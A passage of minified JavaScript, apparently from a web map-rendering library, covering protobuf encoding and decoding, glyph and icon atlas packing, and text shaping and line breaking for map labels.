iameter"}]),ui([{type:"Float32",name:"offsetX"}]),ui([{type:"Int16",name:"x"},{type:"Int16",name:"y"},{type:"Int16",name:"tileUnitDistanceFromAnchor"}]);function vp(R,D,U){var ee=D.layout.get("text-transform").evaluate(U,{});return ee==="uppercase"?R=R.toLocaleUpperCase():ee==="lowercase"&&(R=R.toLocaleLowerCase()),Wa.applyArabicShaping&&(R=Wa.applyArabicShaping(R)),R}function dp(R,D,U){return R.sections.forEach(function(ee){ee.text=vp(ee.text,D,U)}),R}function pp(R){var D={},U={},ee=[],ce=0;function me(Zr){ee.push(R[Zr]),ce++}function Se(Zr,mn,hn){var yn=U[Zr];return delete U[Zr],U[mn]=yn,ee[yn].geometry[0].pop(),ee[yn].geometry[0]=ee[yn].geometry[0].concat(hn[0]),yn}function We(Zr,mn,hn){var yn=D[mn];return delete D[mn],D[Zr]=yn,ee[yn].geometry[0].shift(),ee[yn].geometry[0]=hn[0].concat(ee[yn].geometry[0]),yn}function at(Zr,mn,hn){var yn=hn?mn[0][mn[0].length-1]:mn[0][0];return Zr+":"+yn.x+":"+yn.y}for(var dt=0;dt<R.length;dt++){var xt=R[dt],Bt=xt.geometry,qt=xt.text?xt.text.toString():null;if(!qt){me(dt);continue}var Zt=at(qt,Bt),vr=at(qt,Bt,!0);if(Zt in U&&vr in D&&U[Zt]!==D[vr]){var kr=We(Zt,vr,Bt),Jr=Se(Zt,vr,ee[kr].geometry);delete D[Zt],delete U[vr],U[at(qt,ee[Jr].geometry,!0)]=Jr,ee[kr].geometry=null}else Zt in U?Se(Zt,vr,Bt):vr in D?We(Zt,vr,Bt):(me(dt),D[Zt]=ce-1,U[vr]=ce-1)}return ee.filter(function(Zr){return Zr.geometry})}var dc={"!":"︕","#":"#",$:"$","%":"%","&":"&","(":"︵",")":"︶","*":"*","+":"+",",":"︐","-":"︲",".":"・","/":"/",":":"︓",";":"︔","<":"︿","=":"=",">":"﹀","?":"︖","@":"@","[":"﹇","\\":"\","]":"﹈","^":"^",_:"︳","`":"`","{":"︷","|":"―","}":"︸","~":"~","¢":"¢","£":"£","¥":"¥","¦":"¦","¬":"¬","¯":" ̄","–":"︲","—":"︱","‘":"﹃","’":"﹄","“":"﹁","”":"﹂","…":"︙","‧":"・","₩":"₩","、":"︑","。":"︒","〈":"︿","〉":"﹀","《":"︽","》":"︾","「":"﹁","」":"﹂","『":"﹃","』":"﹄","【":"︻","】":"︼","〔":"︹","〕":"︺","〖":"︗","〗":"︘","!":"︕","(":"︵",")":"︶",",":"︐","-":"︲",".":"・",":":"︓",";":"︔","<":"︿",">":"﹀","?":"︖","[":"﹇","]":"﹈","_":"︳","{":"︷","|":"―","}":"︸","⦅":"︵","⦆":"︶","。":"︒","「":"﹁","」":"﹂"};function gp(R){for(var D="",U=0;U<R.length;U++){var ee=R.charCodeAt(U+1)||null,ce=R.charCodeAt(U-1)||null,me=(!ee||!jr(ee)||dc[R[U+1]])&&(!ce||!jr(ce)||dc[R[U-1]]);me&&dc[R[U]]?D+=dc[R[U]]:D+=R[U]}return D}var io=24,yp=function(R,D,U,ee,ce){var me,Se,We=ce*8-ee-1,at=(1<<We)-1,dt=at>>1,xt=-7,Bt=U?ce-1:0,qt=U?-1:1,Zt=R[D+Bt];for(Bt+=qt,me=Zt&(1<<-xt)-1,Zt>>=-xt,xt+=We;xt>0;me=me*256+R[D+Bt],Bt+=qt,xt-=8);for(Se=me&(1<<-xt)-1,me>>=-xt,xt+=ee;xt>0;Se=Se*256+R[D+Bt],Bt+=qt,xt-=8);if(me===0)me=1-dt;else{if(me===at)return Se?NaN:(Zt?-1:1)*(1/0);Se=Se+Math.pow(2,ee),me=me-dt}return(Zt?-1:1)*Se*Math.pow(2,me-ee)},mp=function(R,D,U,ee,ce,me){var Se,We,at,dt=me*8-ce-1,xt=(1<<dt)-1,Bt=xt>>1,qt=ce===23?Math.pow(2,-24)-Math.pow(2,-77):0,Zt=ee?0:me-1,vr=ee?1:-1,kr=D<0||D===0&&1/D<0?1:0;for(D=Math.abs(D),isNaN(D)||D===1/0?(We=isNaN(D)?1:0,Se=xt):(Se=Math.floor(Math.log(D)/Math.LN2),D*(at=Math.pow(2,-Se))<1&&(Se--,at*=2),Se+Bt>=1?D+=qt/at:D+=qt*Math.pow(2,1-Bt),D*at>=2&&(Se++,at/=2),Se+Bt>=xt?(We=0,Se=xt):Se+Bt>=1?(We=(D*at-1)*Math.pow(2,ce),Se=Se+Bt):(We=D*Math.pow(2,Bt-1)*Math.pow(2,ce),Se=0));ce>=8;R[U+Zt]=We&255,Zt+=vr,We/=256,ce-=8);for(Se=Se<<ce|We,dt+=ce;dt>0;R[U+Zt]=Se&255,Zt+=vr,Se/=256,dt-=8);R[U+Zt-vr]|=kr*128},_c={read:yp,write:mp},zc=di;function di(R){this.buf=ArrayBuffer.isView&&ArrayBuffer.isView(R)?R:new Uint8Array(R||0),this.pos=0,this.type=0,this.length=this.buf.length}di.Varint=0,di.Fixed64=1,di.Bytes=2,di.Fixed32=5;var hh=65536*65536,Kh=1/hh,xp=12,Jh=typeof TextDecoder>"u"?null:new TextDecoder("utf8");di.prototype={destroy:function(){this.buf=null},readFields:function(R,D,U){for(U=U||this.length;this.pos<U;){var ee=this.readVarint(),ce=ee>>3,me=this.pos;this.type=ee&7,R(ce,D,this),this.pos===me&&this.skip(ee)}return D},readMessage:function(R,D){return this.readFields(R,D,this.readVarint()+this.pos)},readFixed32:function(){var R=Fc(this.buf,this.pos);return this.pos+=4,R},readSFixed32:function(){var R=$h(this.buf,this.pos);return this.pos+=4,R},readFixed64:function(){var R=Fc(this.buf,this.pos)+Fc(this.buf,this.pos+4)*hh;return this.pos+=8,R},readSFixed64:function(){var R=Fc(this.buf,this.pos)+$h(this.buf,this.pos+4)*hh;return this.pos+=8,R},readFloat:function(){var R=_c.read(this.buf,this.pos,!0,23,4);return this.pos+=4,R},readDouble:function(){var R=_c.read(this.buf,this.pos,!0,52,8);return this.pos+=8,R},readVarint:function(R){var D=this.buf,U,ee;return ee=D[this.pos++],U=ee&127,ee<128||(ee=D[this.pos++],U|=(ee&127)<<7,ee<128)||(ee=D[this.pos++],U|=(ee&127)<<14,ee<128)||(ee=D[this.pos++],U|=(ee&127)<<21,ee<128)?U:(ee=D[this.pos],U|=(ee&15)<<28,bp(U,R,this))},readVarint64:function(){return this.readVarint(!0)},readSVarint:function(){var R=this.readVarint();return R%2===1?(R+1)/-2:R/2},readBoolean:function(){return!!this.readVarint()},readString:function(){var R=this.readVarint()+this.pos,D=this.pos;return this.pos=R,R-D>=xp&&Jh?_p(this.buf,D,R):kp(this.buf,D,R)},readBytes:function(){var R=this.readVarint()+this.pos,D=this.buf.subarray(this.pos,R);return this.pos=R,D},readPackedVarint:function(R,D){if(this.type!==di.Bytes)return R.push(this.readVarint(D));var U=pu(this);for(R=R||[];this.pos<U;)R.push(this.readVarint(D));return R},readPackedSVarint:function(R){if(this.type!==di.Bytes)return R.push(this.readSVarint());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readSVarint());return R},readPackedBoolean:function(R){if(this.type!==di.Bytes)return R.push(this.readBoolean());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readBoolean());return R},readPackedFloat:function(R){if(this.type!==di.Bytes)return R.push(this.readFloat());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readFloat());return R},readPackedDouble:function(R){if(this.type!==di.Bytes)return R.push(this.readDouble());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readDouble());return R},readPackedFixed32:function(R){if(this.type!==di.Bytes)return R.push(this.readFixed32());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readFixed32());return R},readPackedSFixed32:function(R){if(this.type!==di.Bytes)return R.push(this.readSFixed32());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readSFixed32());return R},readPackedFixed64:function(R){if(this.type!==di.Bytes)return R.push(this.readFixed64());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readFixed64());return R},readPackedSFixed64:function(R){if(this.type!==di.Bytes)return R.push(this.readSFixed64());var D=pu(this);for(R=R||[];this.pos<D;)R.push(this.readSFixed64());return R},skip:function(R){var D=R&7;if(D===di.Varint)for(;this.buf[this.pos++]>127;);else if(D===di.Bytes)this.pos=this.readVarint()+this.pos;else if(D===di.Fixed32)this.pos+=4;else if(D===di.Fixed64)this.pos+=8;else throw new Error("Unimplemented type: "+D)},writeTag:function(R,D){this.writeVarint(R<<3|D)},realloc:function(R){for(var D=this.length||16;D<this.pos+R;)D*=2;if(D!==this.length){var U=new Uint8Array(D);U.set(this.buf),this.buf=U,this.length=D}},finish:function(){return this.length=this.pos,this.pos=0,this.buf.subarray(0,this.length)},writeFixed32:function(R){this.realloc(4),Hf(this.buf,R,this.pos),this.pos+=4},writeSFixed32:function(R){this.realloc(4),Hf(this.buf,R,this.pos),this.pos+=4},writeFixed64:function(R){this.realloc(8),Hf(this.buf,R&-1,this.pos),Hf(this.buf,Math.floor(R*Kh),this.pos+4),this.pos+=8},writeSFixed64:function(R){this.realloc(8),Hf(this.buf,R&-1,this.pos),Hf(this.buf,Math.floor(R*Kh),this.pos+4),this.pos+=8},writeVarint:function(R){if(R=+R||0,R>268435455||R<0){wp(R,this);return}this.realloc(4),this.buf[this.pos++]=R&127|(R>127?128:0),!(R<=127)&&(this.buf[this.pos++]=(R>>>=7)&127|(R>127?128:0),!(R<=127)&&(this.buf[this.pos++]=(R>>>=7)&127|(R>127?128:0),!(R<=127)&&(this.buf[this.pos++]=R>>>7&127)))},writeSVarint:function(R){this.writeVarint(R<0?-R*2-1:R*2)},writeBoolean:function(R){this.writeVarint(!!R)},writeString:function(R){R=String(R),this.realloc(R.length*4),this.pos++;var D=this.pos;this.pos=zp(this.buf,R,this.pos);var U=this.pos-D;U>=128&&Qh(D,U,this),this.pos=D-1,this.writeVarint(U),this.pos+=U},writeFloat:function(R){this.realloc(4),_c.write(this.buf,R,this.pos,!0,23,4),this.pos+=4},writeDouble:function(R){this.realloc(8),_c.write(this.buf,R,this.pos,!0,52,8),this.pos+=8},writeBytes:function(R){var D=R.length;this.writeVarint(D),this.realloc(D);for(var U=0;U<D;U++)this.buf[this.pos++]=R[U]},writeRawMessage:function(R,D){this.pos++;var U=this.pos;R(D,this);var ee=this.pos-U;ee>=128&&Qh(U,ee,this),this.pos=U-1,this.writeVarint(ee),this.pos+=ee},writeMessage:function(R,D,U){this.writeTag(R,di.Bytes),this.writeRawMessage(D,U)},writePackedVarint:function(R,D){D.length&&this.writeMessage(R,Mp,D)},writePackedSVarint:function(R,D){D.length&&this.writeMessage(R,Sp,D)},writePackedBoolean:function(R,D){D.length&&this.writeMessage(R,Lp,D)},writePackedFloat:function(R,D){D.length&&this.writeMessage(R,Ep,D)},writePackedDouble:function(R,D){D.length&&this.writeMessage(R,Cp,D)},writePackedFixed32:function(R,D){D.length&&this.writeMessage(R,Pp,D)},writePackedSFixed32:function(R,D){D.length&&this.writeMessage(R,Rp,D)},writePackedFixed64:function(R,D){D.length&&this.writeMessage(R,Dp,D)},writePackedSFixed64:function(R,D){D.length&&this.writeMessage(R,Ip,D)},writeBytesField:function(R,D){this.writeTag(R,di.Bytes),this.writeBytes(D)},writeFixed32Field:function(R,D){this.writeTag(R,di.Fixed32),this.writeFixed32(D)},writeSFixed32Field:function(R,D){this.writeTag(R,di.Fixed32),this.writeSFixed32(D)},writeFixed64Field:function(R,D){this.writeTag(R,di.Fixed64),this.writeFixed64(D)},writeSFixed64Field:function(R,D){this.writeTag(R,di.Fixed64),this.writeSFixed64(D)},writeVarintField:function(R,D){this.writeTag(R,di.Varint),this.writeVarint(D)},writeSVarintField:function(R,D){this.writeTag(R,di.Varint),this.writeSVarint(D)},writeStringField:function(R,D){this.writeTag(R,di.Bytes),this.writeString(D)},writeFloatField:function(R,D){this.writeTag(R,di.Fixed32),this.writeFloat(D)},writeDoubleField:function(R,D){this.writeTag(R,di.Fixed64),this.writeDouble(D)},writeBooleanField:function(R,D){this.writeVarintField(R,!!D)}};function bp(R,D,U){var ee=U.buf,ce,me;if(me=ee[U.pos++],ce=(me&112)>>4,me<128||(me=ee[U.pos++],ce|=(me&127)<<3,me<128)||(me=ee[U.pos++],ce|=(me&127)<<10,me<128)||(me=ee[U.pos++],ce|=(me&127)<<17,me<128)||(me=ee[U.pos++],ce|=(me&127)<<24,me<128)||(me=ee[U.pos++],ce|=(me&1)<<31,me<128))return Uf(R,ce,D);throw new Error("Expected varint not more than 10 bytes")}function pu(R){return R.type===di.Bytes?R.readVarint()+R.pos:R.pos+1}function Uf(R,D,U){return U?D*4294967296+(R>>>0):(D>>>0)*4294967296+(R>>>0)}function wp(R,D){var U,ee;if(R>=0?(U=R%4294967296|0,ee=R/4294967296|0):(U=~(-R%4294967296),ee=~(-R/4294967296),U^4294967295?U=U+1|0:(U=0,ee=ee+1|0)),R>=18446744073709552e3||R<-18446744073709552e3)throw new Error("Given varint doesn't fit into 10 bytes");D.realloc(10),Tp(U,ee,D),Ap(ee,D)}function Tp(R,D,U){U.buf[U.pos++]=R&127|128,R>>>=7,U.buf[U.pos++]=R&127|128,R>>>=7,U.buf[U.pos++]=R&127|128,R>>>=7,U.buf[U.pos++]=R&127|128,R>>>=7,U.buf[U.pos]=R&127}function Ap(R,D){var U=(R&7)<<4;D.buf[D.pos++]|=U|((R>>>=3)?128:0),R&&(D.buf[D.pos++]=R&127|((R>>>=7)?128:0),R&&(D.buf[D.pos++]=R&127|((R>>>=7)?128:0),R&&(D.buf[D.pos++]=R&127|((R>>>=7)?128:0),R&&(D.buf[D.pos++]=R&127|((R>>>=7)?128:0),R&&(D.buf[D.pos++]=R&127)))))}function Qh(R,D,U){var ee=D<=16383?1:D<=2097151?2:D<=268435455?3:Math.floor(Math.log(D)/(Math.LN2*7));U.realloc(ee);for(var ce=U.pos-1;ce>=R;ce--)U.buf[ce+ee]=U.buf[ce]}function Mp(R,D){for(var U=0;U<R.length;U++)D.writeVarint(R[U])}function Sp(R,D){for(var U=0;U<R.length;U++)D.writeSVarint(R[U])}function Ep(R,D){for(var U=0;U<R.length;U++)D.writeFloat(R[U])}function Cp(R,D){for(var U=0;U<R.length;U++)D.writeDouble(R[U])}function Lp(R,D){for(var U=0;U<R.length;U++)D.writeBoolean(R[U])}function Pp(R,D){for(var U=0;U<R.length;U++)D.writeFixed32(R[U])}function Rp(R,D){for(var U=0;U<R.length;U++)D.writeSFixed32(R[U])}function Dp(R,D){for(var U=0;U<R.length;U++)D.writeFixed64(R[U])}function Ip(R,D){for(var U=0;U<R.length;U++)D.writeSFixed64(R[U])}function Fc(R,D){return(R[D]|R[D+1]<<8|R[D+2]<<16)+R[D+3]*16777216}function Hf(R,D,U){R[U]=D,R[U+1]=D>>>8,R[U+2]=D>>>16,R[U+3]=D>>>24}function $h(R,D){return(R[D]|R[D+1]<<8|R[D+2]<<16)+(R[D+3]<<24)}function kp(R,D,U){for(var ee="",ce=D;ce<U;){var me=R[ce],Se=null,We=me>239?4:me>223?3:me>191?2:1;if(ce+We>U)break;var at,dt,xt;We===1?me<128&&(Se=me):We===2?(at=R[ce+1],(at&192)===128&&(Se=(me&31)<<6|at&63,Se<=127&&(Se=null))):We===3?(at=R[ce+1],dt=R[ce+2],(at&192)===128&&(dt&192)===128&&(Se=(me&15)<<12|(at&63)<<6|dt&63,(Se<=2047||Se>=55296&&Se<=57343)&&(Se=null))):We===4&&(at=R[ce+1],dt=R[ce+2],xt=R[ce+3],(at&192)===128&&(dt&192)===128&&(xt&192)===128&&(Se=(me&15)<<18|(at&63)<<12|(dt&63)<<6|xt&63,(Se<=65535||Se>=1114112)&&(Se=null))),Se===null?(Se=65533,We=1):Se>65535&&(Se-=65536,ee+=String.fromCharCode(Se>>>10&1023|55296),Se=56320|Se&1023),ee+=String.fromCharCode(Se),ce+=We}return ee}function _p(R,D,U){return Jh.decode(R.subarray(D,U))}function zp(R,D,U){for(var ee=0,ce,me;ee<D.length;ee++){if(ce=D.charCodeAt(ee),ce>55295&&ce<57344)if(me)if(ce<56320){R[U++]=239,R[U++]=191,R[U++]=189,me=ce;continue}else ce=me-55296<<10|ce-56320|65536,me=null;else{ce>56319||ee+1===D.length?(R[U++]=239,R[U++]=191,R[U++]=189):me=ce;continue}else me&&(R[U++]=239,R[U++]=191,R[U++]=189,me=null);ce<128?R[U++]=ce:(ce<2048?R[U++]=ce>>6|192:(ce<65536?R[U++]=ce>>12|224:(R[U++]=ce>>18|240,R[U++]=ce>>12&63|128),R[U++]=ce>>6&63|128),R[U++]=ce&63|128)}return U}var vh=3;function Fp(R,D,U){R===1&&U.readMessage(Op,D)}function Op(R,D,U){if(R===3){var ee=U.readMessage(Bp,{}),ce=ee.id,me=ee.bitmap,Se=ee.width,We=ee.height,at=ee.left,dt=ee.top,xt=ee.advance;D.push({id:ce,bitmap:new Mf({width:Se+2*vh,height:We+2*vh},me),metrics:{width:Se,height:We,left:at,top:dt,advance:xt}})}}function Bp(R,D,U){R===1?D.id=U.readVarint():R===2?D.bitmap=U.readBytes():R===3?D.width=U.readVarint():R===4?D.height=U.readVarint():R===5?D.left=U.readSVarint():R===6?D.top=U.readSVarint():R===7&&(D.advance=U.readVarint())}function Np(R){return new zc(R).readFields(Fp,[])}var qh=vh;function ev(R){for(var D=0,U=0,ee=0,ce=R;ee<ce.length;ee+=1){var me=ce[ee];D+=me.w*me.h,U=Math.max(U,me.w)}R.sort(function(Jr,Zr){return Zr.h-Jr.h});for(var Se=Math.max(Math.ceil(Math.sqrt(D/.95)),U),We=[{x:0,y:0,w:Se,h:1/0}],at=0,dt=0,xt=0,Bt=R;xt<Bt.length;xt+=1)for(var qt=Bt[xt],Zt=We.length-1;Zt>=0;Zt--){var vr=We[Zt];if(!(qt.w>vr.w||qt.h>vr.h)){if(qt.x=vr.x,qt.y=vr.y,dt=Math.max(dt,qt.y+qt.h),at=Math.max(at,qt.x+qt.w),qt.w===vr.w&&qt.h===vr.h){var kr=We.pop();Zt<We.length&&(We[Zt]=kr)}else qt.h===vr.h?(vr.x+=qt.w,vr.w-=qt.w):qt.w===vr.w?(vr.y+=qt.h,vr.h-=qt.h):(We.push({x:vr.x+qt.w,y:vr.y,w:vr.w-qt.w,h:qt.h}),vr.y+=qt.h,vr.h-=qt.h);break}}return{w:at,h:dt,fill:D/(at*dt)||0}}var es=1,Oc=function(D,U){var ee=U.pixelRatio,ce=U.version,me=U.stretchX,Se=U.stretchY,We=U.content;this.paddedRect=D,this.pixelRatio=ee,this.stretchX=me,this.stretchY=Se,this.content=We,this.version=ce},pc={tl:{configurable:!0},br:{configurable:!0},tlbr:{configurable:!0},displaySize:{configurable:!0}};pc.tl.get=function(){return[this.paddedRect.x+es,this.paddedRect.y+es]},pc.br.get=function(){return[this.paddedRect.x+this.paddedRect.w-es,this.paddedRect.y+this.paddedRect.h-es]},pc.tlbr.get=function(){return this.tl.concat(this.br)},pc.displaySize.get=function(){return[(this.paddedRect.w-es*2)/this.pixelRatio,(this.paddedRect.h-es*2)/this.pixelRatio]},Object.defineProperties(Oc.prototype,pc);var gc=function(D,U){var ee={},ce={};this.haveRenderCallbacks=[];var me=[];this.addImages(D,ee,me),this.addImages(U,ce,me);var Se=ev(me),We=Se.w,at=Se.h,dt=new Ho({width:We||1,height:at||1});for(var xt in D){var Bt=D[xt],qt=ee[xt].paddedRect;Ho.copy(Bt.data,dt,{x:0,y:0},{x:qt.x+es,y:qt.y+es},Bt.data)}for(var Zt in U){var vr=U[Zt],kr=ce[Zt].paddedRect,Jr=kr.x+es,Zr=kr.y+es,mn=vr.data.width,hn=vr.data.height;Ho.copy(vr.data,dt,{x:0,y:0},{x:Jr,y:Zr},vr.data),Ho.copy(vr.data,dt,{x:0,y:hn-1},{x:Jr,y:Zr-1},{width:mn,height:1}),Ho.copy(vr.data,dt,{x:0,y:0},{x:Jr,y:Zr+hn},{width:mn,height:1}),Ho.copy(vr.data,dt,{x:mn-1,y:0},{x:Jr-1,y:Zr},{width:1,height:hn}),Ho.copy(vr.data,dt,{x:0,y:0},{x:Jr+mn,y:Zr},{width:1,height:hn})}this.image=dt,this.iconPositions=ee,this.patternPositions=ce};gc.prototype.addImages=function(D,U,ee){for(var ce in D){var me=D[ce],Se={x:0,y:0,w:me.data.width+2*es,h:me.data.height+2*es};ee.push(Se),U[ce]=new Oc(Se,me),me.hasRenderCallback&&this.haveRenderCallbacks.push(ce)}},gc.prototype.patchUpdatedImages=function(D,U){D.dispatchRenderCallbacks(this.haveRenderCallbacks);for(var ee in D.updatedImages)this.patchUpdatedImage(this.iconPositions[ee],D.getImage(ee),U),this.patchUpdatedImage(this.patternPositions[ee],D.getImage(ee),U)},gc.prototype.patchUpdatedImage=function(D,U,ee){if(!(!D||!U)&&D.version!==U.version){D.version=U.version;var ce=D.tl,me=ce[0],Se=ce[1];ee.update(U.data,void 0,{x:me,y:Se})}},se("ImagePosition",Oc),se("ImageAtlas",gc);var vs={horizontal:1,vertical:2,horizontalOnly:3},yc=-17;function Up(R){for(var D=0,U=R;D<U.length;D+=1){var ee=U[D];if(ee.positionedGlyphs.length!==0)return!1}return!0}var tv=57344,rv=63743,Vf=function(){this.scale=1,this.fontStack="",this.imageName=null};Vf.forText=function(D,U){var ee=new Vf;return ee.scale=D||1,ee.fontStack=U,ee},Vf.forImage=function(D){var U=new Vf;return U.imageName=D,U};var mo=function(){this.text="",this.sectionIndex=[],this.sections=[],this.imageSectionID=null};mo.fromFeature=function(D,U){for(var ee=new mo,ce=0;ce<D.sections.length;ce++){var me=D.sections[ce];me.image?ee.addImageSection(me):ee.addTextSection(me,U)}return ee},mo.prototype.length=function(){return this.text.length},mo.prototype.getSection=function(D){return this.sections[this.sectionIndex[D]]},mo.prototype.getSectionIndex=function(D){return this.sectionIndex[D]},mo.prototype.getCharCode=function(D){return this.text.charCodeAt(D)},mo.prototype.verticalizePunctuation=function(){this.text=gp(this.text)},mo.prototype.trim=function(){for(var D=0,U=0;U<this.text.length&&Ul[this.text.charCodeAt(U)];U++)D++;for(var ee=this.text.length,ce=this.text.length-1;ce>=0&&ce>=D&&Ul[this.text.charCodeAt(ce)];ce--)ee--;this.text=this.text.substring(D,ee),this.sectionIndex=this.sectionIndex.slice(D,ee)},mo.prototype.substring=function(D,U){var ee=new mo;return ee.text=this.text.substring(D,U),ee.sectionIndex=this.sectionIndex.slice(D,U),ee.sections=this.sections,ee},mo.prototype.toString=function(){return this.text},mo.prototype.getMaxScale=function(){var D=this;return this.sectionIndex.reduce(function(U,ee){return Math.max(U,D.sections[ee].scale)},0)},mo.prototype.addTextSection=function(D,U){this.text+=D.text,this.sections.push(Vf.forText(D.scale,D.fontStack||U));for(var ee=this.sections.length-1,ce=0;ce<D.text.length;++ce)this.sectionIndex.push(ee)},mo.prototype.addImageSection=function(D){var U=D.image?D.image.name:"";if(U.length===0){B("Can't add FormattedSection with an empty image.");return}var ee=this.getNextImageSectionCharCode();if(!ee){B("Reached maximum number of images "+(rv-tv+2));return}this.text+=String.fromCharCode(ee),this.sections.push(Vf.forImage(U)),this.sectionIndex.push(this.sections.length-1)},mo.prototype.getNextImageSectionCharCode=function(){return this.imageSectionID?this.imageSectionID>=rv?null:++this.imageSectionID:(this.imageSectionID=tv,this.imageSectionID)};function Hp(R,D){for(var U=[],ee=R.text,ce=0,me=0,Se=D;me<Se.length;me+=1){var We=Se[me];U.push(R.substring(ce,We)),ce=We}return ce<ee.length&&U.push(R.substring(ce,ee.length)),U}function Bc(R,D,U,ee,ce,me,Se,We,at,dt,xt,Bt,qt,Zt,vr,kr){var Jr=mo.fromFeature(R,ce);Bt===vs.vertical&&Jr.verticalizePunctuation();var Zr,mn=Wa.processBidirectionalText,hn=Wa.processStyledBidirectionalText;if(mn&&Jr.sections.length===1){Zr=[];for(var yn=mn(Jr.toString(),dh(Jr,dt,me,D,ee,Zt,vr)),Cn=0,_n=yn;Cn<_n.length;Cn+=1){var Yn=_n[Cn],Gn=new mo;Gn.text=Yn,Gn.sections=Jr.sections;for(var ga=0;ga<Yn.length;ga++)Gn.sectionIndex.push(0);Zr.push(Gn)}}else if(hn){Zr=[];for(var aa=hn(Jr.text,Jr.sectionIndex,dh(Jr,dt,me,D,ee,Zt,vr)),ua=0,Pa=aa;ua<Pa.length;ua+=1){var va=Pa[ua],da=new mo;da.text=va[0],da.sectionIndex=va[1],da.sections=Jr.sections,Zr.push(da)}}else Zr=Hp(Jr,dh(Jr,dt,me,D,ee,Zt,vr));var _a=[],Ea={positionedLines:_a,text:Jr.toString(),top:xt[1],bottom:xt[1],left:xt[0],right:xt[0],writingMode:Bt,iconsInText:!1,verticalizable:!1};return Wp(Ea,D,U,ee,Zr,Se,We,at,Bt,dt,qt,kr),Up(_a)?!1:Ea}var Ul={};Ul[9]=!0,Ul[10]=!0,Ul[11]=!0,Ul[12]=!0,Ul[13]=!0,Ul[32]=!0;var ts={};ts[10]=!0,ts[32]=!0,ts[38]=!0,ts[40]=!0,ts[41]=!0,ts[43]=!0,ts[45]=!0,ts[47]=!0,ts[173]=!0,ts[183]=!0,ts[8203]=!0,ts[8208]=!0,ts[8211]=!0,ts[8231]=!0;function nv(R,D,U,ee,ce,me){if(D.imageName){var at=ee[D.imageName];return at?at.displaySize[0]*D.scale*io/me+ce:0}else{var Se=U[D.fontStack],We=Se&&Se[R];return We?We.metrics.advance*D.scale+ce:0}}function Vp(R,D,U,ee,ce,me){for(var Se=0,We=0;We<R.length();We++){var at=R.getSection(We);Se+=nv(R.getCharCode(We),at,ee,ce,D,me)}var dt=Math.max(1,Math.ceil(Se/U));return Se/dt}function av(R,D,U,ee){var ce=Math.pow(R-D,2);return ee?R<D?ce/2:ce*2:ce+Math.abs(U)*U}function Gp(R,D,U){var ee=0;return R===10&&(ee-=1e4),U&&(ee+=150),(R===40||R===65288)&&(ee+=50),(D===41||D===65289)&&(ee+=50),ee}function iv(R,D,U,ee,ce,me){for(var Se=null,We=av(D,U,ce,me),at=0,dt=ee;at<dt.length;at+=1){var xt=dt[at],Bt=D-xt.x,qt=av(Bt,U,ce,me)+xt.badness;qt<=We&&(Se=xt,We=qt)}return{index:R,x:D,priorBreak:Se,badness:We}}function ov(R){return R?ov(R.priorBreak).concat(R.index):[]}function dh(R,D,U,ee,ce,me,Se){if(me!=="point")return[];if(!R)return[];for(var We=[],at=Vp(R,D,U,ee,ce,Se),dt=R.text.indexOf("​")>=0,xt=0,Bt=0;Bt<R.length();Bt++){var qt=R.getSection(Bt),Zt=R.getCharCode(Bt);if(Ul[Zt]||(xt+=nv(Zt,qt,ee,ce,D,Se)),Bt<R.length()-1){var vr=wr(Zt);(ts[Zt]||vr||qt.imageName)&&We.push(iv(Bt+1,xt,at,We,Gp(Zt,R.getCharCode(Bt+1),vr&&dt),!1))}}return ov(iv(R.length(),xt,at,We,0,!0))}function ph(R){var D=.5,U=.5;switch(R){case"right":case"top-right":case"bottom-right":D=1;break;case"left":case"top-left":case"bottom-left":D=0;break}switch(R){case"bottom":case"bottom-right":case"bottom-left":U=1;break;case"top":case"top-right":case"top-left":U=0;break}return{horizontalAlign:D,verticalAlign:U}}function Wp(R,D,U,ee,ce,me,Se,We,at,dt,xt,Bt){for(var qt=0,Zt=yc,vr=0,kr=0,Jr=We==="right"?1:We==="left"?0:.5,Zr=0,mn=0,hn=ce;mn<hn.length;mn+=1){var yn=hn[mn];yn.trim();var Cn=yn.getMaxScale(),_n=(Cn-1)*io,Yn={positionedGlyphs:[],lineOffset:0};R.positionedLines[Zr]=Yn;var Gn=Yn.positionedGlyphs,ga=0;if(!yn.length()){Zt+=me,++Zr;continue}for(var aa=0;aa<yn.length();aa++){var ua=yn.getSection(aa),Pa=yn.getSectionIndex(aa),va=yn.getCharCode(aa),da=0,_a=null,Ea=null,Ya=null,oi=io,Za=!(at===vs.horizontal||!xt&&!xr(va)||xt&&(Ul[va]||Mr(va)));if(ua.imageName){var Ci=ee[ua.imageName];if(!Ci)continue;Ya=ua.imageName,R.iconsInText=R.iconsInText||!0,Ea=Ci.paddedRect;var Ri=Ci.displaySize;ua.scale=ua.scale*io/Bt,_a={width:Ri[0],height:Ri[1],left:es,top:-qh,advance:Za?Ri[1]:Ri[0]};var Qi=io-Ri[1]*ua.scale;da=_n+Qi,oi=_a.advance;var Vi=Za?Ri[0]*ua.scale-io*Cn:Ri[1]*ua.scale-io*Cn;Vi>0&&Vi>ga&&(ga=Vi)}else{var Xa=U[ua.fontStack],Va=Xa&&Xa[va];if(Va&&Va.rect)Ea=Va.rect,_a=Va.metrics;else{var hi=D[ua.fontStack],pi=hi&&hi[va];if(!pi)continue;_a=pi.metrics}da=(Cn-ua.scale)*io}Za?(R.verticalizable=!0,Gn.push({glyph:va,imageName:Ya,x:qt,y:Zt+da,vertical:Za,scale:ua.scale,fontStack:ua.fontStack,sectionIndex:Pa,metrics:_a,rect:Ea}),qt+=oi*ua.scale+dt):(Gn.push({glyph:va,imageName:Ya,x:qt,y:Zt+da,vertical:Za,scale:ua.scale,fontStack:ua.fontStack,sectionIndex:Pa,metrics:_a,rect:Ea}),qt+=_a.advance*ua.scale+dt)}if(Gn.length!==0){var xo=qt-dt;vr=Math.max(xo,vr),Yp(Gn,0,Gn.length-1,Jr,ga)}qt=0;var bo=me*Cn+ga;Yn.lineOffset=Math.max(ga,_n),Zt+=bo,kr=Math.max(bo,kr),++Zr}var $i=Zt-yc,Co=ph(Se),Lo=Co.horizontalAlign,Zi=Co.verticalAlign;Zp(R.positionedLines,Jr,Lo,Zi,vr,kr,me,$i,ce.length),R.top+=-Zi*$i,R.bottom=R.top+$i,R.left+=-Lo*vr,R.right=R.left+vr}function 